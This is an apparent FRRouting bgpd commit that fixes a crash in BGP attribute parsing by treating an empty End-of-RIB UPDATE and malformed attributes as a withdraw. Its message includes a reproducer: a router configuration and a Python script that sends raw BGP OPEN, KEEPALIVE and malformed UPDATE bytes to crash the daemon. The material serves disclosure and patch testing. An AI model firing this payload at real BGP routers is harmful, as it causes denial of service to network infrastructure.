bgpd: Treat EOR as withdrawn to avoid unwanted handling of malformed attrs

Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:

```
router bgp 65001
 no bgp ebgp-requires-policy
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 !
 address-family ipv4 unicast
  neighbor 127.0.0.1 addpath-tx-all-paths
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
exit
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Send a malformed optional transitive attribute:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```

Reported-by: Iggy Frankovic <[email protected]>
Signed-off-by: Donatas Abraitis <[email protected]>

Author: ton31337

bgpd/bgp_attr.c

@@ -3406,10 +3406,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
 	uint8_t type = 0;
 
 	/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
-	 * empty UPDATE.  */
+	 * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
+	 * we will pass it to be processed as a normal UPDATE without mandatory
+	 * attributes, that could lead to harmful behavior.
+	 */
 	if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
 	    !length)
-		return BGP_ATTR_PARSE_PROCEED;
+		return BGP_ATTR_PARSE_WITHDRAW;
 
 	/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
 	   to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
@@ -3839,7 +3842,13 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
 	aspath_unintern(&as4_path);
 
 	transit = bgp_attr_get_transit(attr);
-	if (ret != BGP_ATTR_PARSE_ERROR) {
+	/* If we received an UPDATE with mandatory attributes, then
+	 * the unrecognized transitive optional attribute of that
+	 * path MUST be passed. Otherwise, it's an error, and from
+	 * security perspective it might be very harmful if we continue
+	 * here with the unrecognized attributes.
+	 */
+	if (ret == BGP_ATTR_PARSE_PROCEED) {
 		/* Finally intern unknown attribute. */
 		if (transit)
 			bgp_attr_set_transit(attr, transit_intern(transit));